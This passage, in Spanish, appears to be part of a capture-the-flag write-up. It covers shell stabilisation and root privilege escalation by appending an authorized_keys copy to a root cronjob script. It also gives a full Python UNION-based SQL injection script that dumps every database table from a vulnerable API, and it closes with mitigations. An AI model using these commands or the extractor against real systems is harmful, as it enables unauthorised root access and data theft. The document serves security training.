export TERM=xterm
export SHELL=/bin/bash
(en una nueva consola local)
stty size
PRIMER NUMERO -> FILAS
SEGUNDO NUMERO -> COLUMNAS
(en la consola del objetivo)
stty rows <PRIMER NUMERO> cols <SEGUNDO NUMERO>script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
(en una nueva consola local)
stty size
PRIMER NUMERO -> FILAS
SEGUNDO NUMERO -> COLUMNAS
(en la consola del objetivo)
stty rows <PRIMER NUMERO> cols <SEGUNDO NUMERO>Desde aquí se continua enumerando el sistema. Se termina detectando que la configuración del servidor SSH parece indicar que el usuario "root" dispone de la configuración por defecto denominada "prohibit-password".
Esto significa que aunque el usuario no tenga contraseña, tiene permitido acceder mediante SSH al sistema utilizando una clave privada si no se le configura lo contrario.
cat /etc/ssh/sshd_config | grep -i root
grep -i '^Include' /etc/ssh/sshd_config
ls -al /etc/ssh/sshd_config.d/cat /etc/ssh/sshd_config | grep -i root
grep -i '^Include' /etc/ssh/sshd_config
ls -al /etc/ssh/sshd_config.d/
Como en este punto ya se conoce de la existencia del cronjob que se ejecuta bajo el contexto del usuario "root", se puede probar otra forma de escalar privilegios aprovechando este.
Para ello, primero se generan un par de claves RSA dentro del sistema objetivo.
cd /tmp
ssh-keygen -t rsa
Enter file in which to save the key (/var/www/.ssh/id_rsa): ./id_rsa
...
ls -al id_rsa*cd /tmp
ssh-keygen -t rsa
Enter file in which to save the key (/var/www/.ssh/id_rsa): ./id_rsa
...
ls -al id_rsa*
A continuación se restablece el script de backup modificado previamente para introducir una instrucción que copie la clave pública generada dentro de la lista de claves autorizadas para que el usuario "root" pueda acceder a través de SSH con esta.
cd /opt
cat backup.sh
echo -e "\nmkdir /root/.ssh\ncp /tmp/id_rsa.pub /root/.ssh/authorized_keys" >> /opt/backup.sh
cat backup.shcd /opt
cat backup.sh
echo -e "\nmkdir /root/.ssh\ncp /tmp/id_rsa.pub /root/.ssh/authorized_keys" >> /opt/backup.sh
cat backup.sh
Tras esperar un minuto o dos, se puede comprobar que utilizando la clave privada generada es posible acceder al sistema a través de SSH como el usuario "root" directamente y obtener la flag asociada a este usuario nuevamente.
(esperar 1 o 2 minutos)
mousepad root-id_rsa -> copiar y guardar clave privada generada (id_rsa)
chmod 600 root-id_rsa
ssh -i root-id_rsa root@172.17.0.2
whoami
id
hostname
ls -al
cat root.txt(esperar 1 o 2 minutos)
mousepad root-id_rsa -> copiar y guardar clave privada generada (id_rsa)
chmod 600 root-id_rsa
ssh -i root-id_rsa root@172.17.0.2
whoami
id
hostname
ls -al
cat root.txt
BONUS 2: Automatizando la extracción de la base de datos sin usar SQLMap
Para automatizar el proceso de la extracción del contenido de la base de datos realizado anteriormente, se aprovecha la vulnerabilidad SQLi detectada y se desarrolla un script en Python que se encarga de detectar automáticamente todo (base de datos, tablas, columnas…) para terminar mostrando la información de una forma estructurada y visual junto a un resumen de hallazgos.
Nota importante: Tener en cuenta que es posible interactuar con la API vulnerable sin necesidad de estar autenticado. Por eso el script desarrollado no contempla esta característica.
El script resultante es el siguiente:
# sqli_extractor.py
#!/usr/bin/env python3
"""
Script de extracción automatizada de datos vía SQL Injection
Target: /lib/kms_api.php
Método: UNION-based SQLi
"""
import requests, sys
from typing import List, Dict
# ==================== CONFIGURACIÓN ====================
BASE_URL = "http://TARGET/lib/kms_api.php"
DELIMITER, MAX_LEN = "|||", 100
""" Cargas útiles a utilizar en el script """
PAYLOADS = {
'dbs': "test' UNION ALL SELECT catalog_name,schema_name,3 FROM information_schema.schemata WHERE schema_name != 'information_schema'-- -",
'tables': "test' UNION ALL SELECT table_schema,table_name,3 FROM information_schema.tables WHERE table_schema='{}'-- -",
'columns': "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='{}'-- -"
}
""" Método para realizar cada petición incluyendo una carga útil en particular """
def request(payload: str) -> Dict:
try: return requests.post(BASE_URL, json={"accion":"buscar_extension","params":{"extension":payload}}, timeout=60).json()
except Exception as e: print(f"[!] Error: {e}"); return {}
""" Método para extraer la información obtenida de cada respuesta """
def extract(response: Dict, get_val, filt=None) -> List[str]:
if not response.get("datos"): return []
r = [get_val(row) for row in response["datos"] if get_val(row)]
r = list(dict.fromkeys([x.strip() for x in r if x.strip()]))
return [x for x in r if filt(x)] if filt else r
""" Obtención de todas las bases de datos existentes, excluyendo 'information_schema' """
def get_dbs():
print("\n"+"="*60+"\n[*] EXTRAYENDO BASES DE DATOS...\n"+"="*60)
dbs = extract(request(PAYLOADS['dbs']), lambda r: r.get("extension"))
print(f"[+] Bases de datos: {len(dbs)}")
for db in dbs: print(f" - {db}")
return dbs
""" Obtención de las tablas de una base de datos en particular """
def get_tables(db: str):
print(f"\n[*] Extrayendo tablas de: {db}")
tables = extract(request(PAYLOADS['tables'].format(db)), lambda r: r.get("extension"), lambda t: t != db)
print(f" [+] Tablas: {len(tables)}")
for t in tables: print(f" - {t}")
return tables
""" Obtención de las columnas de una tabla en particular """
def get_columns(db: str, table: str):
return extract(request(PAYLOADS['columns'].format(table)),
lambda r: r.get("precio") if r.get("id")==db and r.get("extension")==table else "")
""" Extracción de todos los datos de una tabla en particular """
def fetch_data(db: str, table: str, cols: List[str]) -> List[List[str]]:
if len(cols) <= 3:
r = request(f"test' UNION ALL SELECT {','.join(cols)} FROM {db}.{table}-- -")
fields = ["id","extension","precio"]
return [[str(row.get(fields[i],"")).strip() for i in range(len(cols))] for row in r.get("datos",[])]
r = request(f"test' UNION ALL SELECT CONCAT_WS('{DELIMITER}',{','.join(cols)}),NULL,NULL FROM {db}.{table}-- -")
return [[v.strip() for v in (str(row.get("id","")).split(DELIMITER) + [""]*len(cols))[:len(cols)]] for row in r.get("datos",[])]
""" Método para truncar información excesivamente larga """
def trunc(t: str) -> str: return t if len(t:=str(t).strip()) <= MAX_LEN else t[:MAX_LEN-3]+"..."
""" Método para mostrar el contenido de una tabla de una forma estructurada """
def print_table(h: List[str], rows: List[List[str]], name: str):
if not rows: print(" [Sin datos]"); return
print(f"\n{'='*80}\n TABLA: {name}\n{'='*80}\n Columnas ({len(h)}): {', '.join(h)}\n Total filas: {len(rows)}\n")
w = [min(max(len(trunc(r[i])) for r in [h]+rows if i < len(r))+2, MAX_LEN+2) for i in range(len(h))]
divider = "+" + "+".join("-"*x for x in w) + "+"
fmt = lambda vals: "|" + "".join(f" {trunc(v):<{w[i]-1}}|" for i,v in enumerate(vals))
print(divider)
print(fmt(h))
print(divider)
for r in rows: print(fmt(r))
print(divider)
print()
""" Método para procesar y extraer la información de una base de datos en particular """
def process_db(db: str, data: Dict):
print(f"\n{'#'*80}\n# BASE DE DATOS: {db}\n{'#'*80}")
tables = get_tables(db)
if not tables: print(" [!] Sin tablas"); return
data[db] = {}
for t in tables:
cols = get_columns(db, t)
if not cols: print(f"\n [!] Sin columnas en {t}"); continue
if d := fetch_data(db, t, cols): print_table(cols, d, f"{db}.{t}"); data[db][t] = {"columns": cols, "data": d}
else: print(f"\n [Sin datos en {t}]")
""" Método para imprimir el resumen de hallazgos """
def summary(dbs: List[str], data: Dict):
tt = tr = 0
print("\n"+"="*80+"\nRESUMEN\n"+"="*80)
for db, ts in data.items():
print(f"\n[{db}]")
for t, i in ts.items(): tt += 1; tr += len(i['data']); print(f" └─ {t}: {len(i['columns'])} cols, {len(i['data'])} filas")
print(f"\n[*] Total: {len(dbs)} BD, {tt} tablas, {tr} filas")
""" Método principal del script """
def main():
print("""\n ╔══════════════════════════════════════════════════════════════════════════════╗\n ║ SQL INJECTION DATA EXTRACTOR ║\n ║ Target: /lib/kms_api.php ║\n ╚══════════════════════════════════════════════════════════════════════════════╝\n """)
if "TARGET" in BASE_URL: print("[!] Configura BASE_URL"); sys.exit(1)
dbs = get_dbs()
if not dbs: print("[!] Sin bases de datos"); sys.exit(1)
all_data = {}
for db in dbs: process_db(db, all_data)
summary(dbs, all_data)
if __name__ == "__main__": main()# sqli_extractor.py
#!/usr/bin/env python3
"""
Script de extracción automatizada de datos vía SQL Injection
Target: /lib/kms_api.php
Método: UNION-based SQLi
"""
import requests, sys
from typing import List, Dict
# ==================== CONFIGURACIÓN ====================
BASE_URL = "http://TARGET/lib/kms_api.php"
DELIMITER, MAX_LEN = "|||", 100
""" Cargas útiles a utilizar en el script """
PAYLOADS = {
'dbs': "test' UNION ALL SELECT catalog_name,schema_name,3 FROM information_schema.schemata WHERE schema_name != 'information_schema'-- -",
'tables': "test' UNION ALL SELECT table_schema,table_name,3 FROM information_schema.tables WHERE table_schema='{}'-- -",
'columns': "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='{}'-- -"
}
""" Método para realizar cada petición incluyendo una carga útil en particular """
def request(payload: str) -> Dict:
try: return requests.post(BASE_URL, json={"accion":"buscar_extension","params":{"extension":payload}}, timeout=60).json()
except Exception as e: print(f"[!] Error: {e}"); return {}
""" Método para extraer la información obtenida de cada respuesta """
def extract(response: Dict, get_val, filt=None) -> List[str]:
if not response.get("datos"): return []
r = [get_val(row) for row in response["datos"] if get_val(row)]
r = list(dict.fromkeys([x.strip() for x in r if x.strip()]))
return [x for x in r if filt(x)] if filt else r
""" Obtención de todas las bases de datos existentes, excluyendo 'information_schema' """
def get_dbs():
print("\n"+"="*60+"\n[*] EXTRAYENDO BASES DE DATOS...\n"+"="*60)
dbs = extract(request(PAYLOADS['dbs']), lambda r: r.get("extension"))
print(f"[+] Bases de datos: {len(dbs)}")
for db in dbs: print(f" - {db}")
return dbs
""" Obtención de las tablas de una base de datos en particular """
def get_tables(db: str):
print(f"\n[*] Extrayendo tablas de: {db}")
tables = extract(request(PAYLOADS['tables'].format(db)), lambda r: r.get("extension"), lambda t: t != db)
print(f" [+] Tablas: {len(tables)}")
for t in tables: print(f" - {t}")
return tables
""" Obtención de las columnas de una tabla en particular """
def get_columns(db: str, table: str):
return extract(request(PAYLOADS['columns'].format(table)),
lambda r: r.get("precio") if r.get("id")==db and r.get("extension")==table else "")
""" Extracción de todos los datos de una tabla en particular """
def fetch_data(db: str, table: str, cols: List[str]) -> List[List[str]]:
if len(cols) <= 3:
r = request(f"test' UNION ALL SELECT {','.join(cols)} FROM {db}.{table}-- -")
fields = ["id","extension","precio"]
return [[str(row.get(fields[i],"")).strip() for i in range(len(cols))] for row in r.get("datos",[])]
r = request(f"test' UNION ALL SELECT CONCAT_WS('{DELIMITER}',{','.join(cols)}),NULL,NULL FROM {db}.{table}-- -")
return [[v.strip() for v in (str(row.get("id","")).split(DELIMITER) + [""]*len(cols))[:len(cols)]] for row in r.get("datos",[])]
""" Método para truncar información excesivamente larga """
def trunc(t: str) -> str: return t if len(t:=str(t).strip()) <= MAX_LEN else t[:MAX_LEN-3]+"..."
""" Método para mostrar el contenido de una tabla de una forma estructurada """
def print_table(h: List[str], rows: List[List[str]], name: str):
if not rows: print(" [Sin datos]"); return
print(f"\n{'='*80}\n TABLA: {name}\n{'='*80}\n Columnas ({len(h)}): {', '.join(h)}\n Total filas: {len(rows)}\n")
w = [min(max(len(trunc(r[i])) for r in [h]+rows if i < len(r))+2, MAX_LEN+2) for i in range(len(h))]
divider = "+" + "+".join("-"*x for x in w) + "+"
fmt = lambda vals: "|" + "".join(f" {trunc(v):<{w[i]-1}}|" for i,v in enumerate(vals))
print(divider)
print(fmt(h))
print(divider)
for r in rows: print(fmt(r))
print(divider)
print()
""" Método para procesar y extraer la información de una base de datos en particular """
def process_db(db: str, data: Dict):
print(f"\n{'#'*80}\n# BASE DE DATOS: {db}\n{'#'*80}")
tables = get_tables(db)
if not tables: print(" [!] Sin tablas"); return
data[db] = {}
for t in tables:
cols = get_columns(db, t)
if not cols: print(f"\n [!] Sin columnas en {t}"); continue
if d := fetch_data(db, t, cols): print_table(cols, d, f"{db}.{t}"); data[db][t] = {"columns": cols, "data": d}
else: print(f"\n [Sin datos en {t}]")
""" Método para imprimir el resumen de hallazgos """
def summary(dbs: List[str], data: Dict):
tt = tr = 0
print("\n"+"="*80+"\nRESUMEN\n"+"="*80)
for db, ts in data.items():
print(f"\n[{db}]")
for t, i in ts.items(): tt += 1; tr += len(i['data']); print(f" └─ {t}: {len(i['columns'])} cols, {len(i['data'])} filas")
print(f"\n[*] Total: {len(dbs)} BD, {tt} tablas, {tr} filas")
""" Método principal del script """
def main():
print("""\n ╔══════════════════════════════════════════════════════════════════════════════╗\n ║ SQL INJECTION DATA EXTRACTOR ║\n ║ Target: /lib/kms_api.php ║\n ╚══════════════════════════════════════════════════════════════════════════════╝\n """)
if "TARGET" in BASE_URL: print("[!] Configura BASE_URL"); sys.exit(1)
dbs = get_dbs()
if not dbs: print("[!] Sin bases de datos"); sys.exit(1)
all_data = {}
for db in dbs: process_db(db, all_data)
summary(dbs, all_data)
if __name__ == "__main__": main()Tras configurar y ejecutar el script, es posible comprobar en cuestión de segundos la totalidad del contenido de la base de datos extraída.
A continuación se muestra un fragmento del resultado de la ejecución del script desarrollado.
mousepad sqli_extractor.py
python3 sqli_extractor.pymousepad sqli_extractor.py
python3 sqli_extractor.py
Mitigaciones a aplicar
- Para prevenir la vulnerabilidad SQL Injection, utilizar consultas preparadas con parámetros en lugar de concatenar directamente valores en las sentencias SQL.
- Para prevenir la vulnerabilidad XSS (Cross-Site Scripting), es necesario validar y sanitizar todas las entradas del usuario antes de procesarlas. Escapar correctamente la salida según el contexto (HTML, JavaScript, URL, etc.) para evitar la ejecución de código malicioso. Implementar una Content Security Policy** (CSP)** y evitar el uso de funciones inseguras como
innerHTMLcuando sea posible. Además, en el caso de utilizarse, mantener los frameworks y librerías actualizados para reducir riesgos conocidos. - Almacenar la información sensible de forma segura (por ejemplo, utilizando gestores de contraseñas), evitando que esta pueda ser accedida por usuarios no autorizados. Evitar mostrar en la web o "hardcodear" en código credenciales en recursos accesibles o que potencialmente puedan acabar publicados.
- Evitar que los usuarios del sistema u otros servicios tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com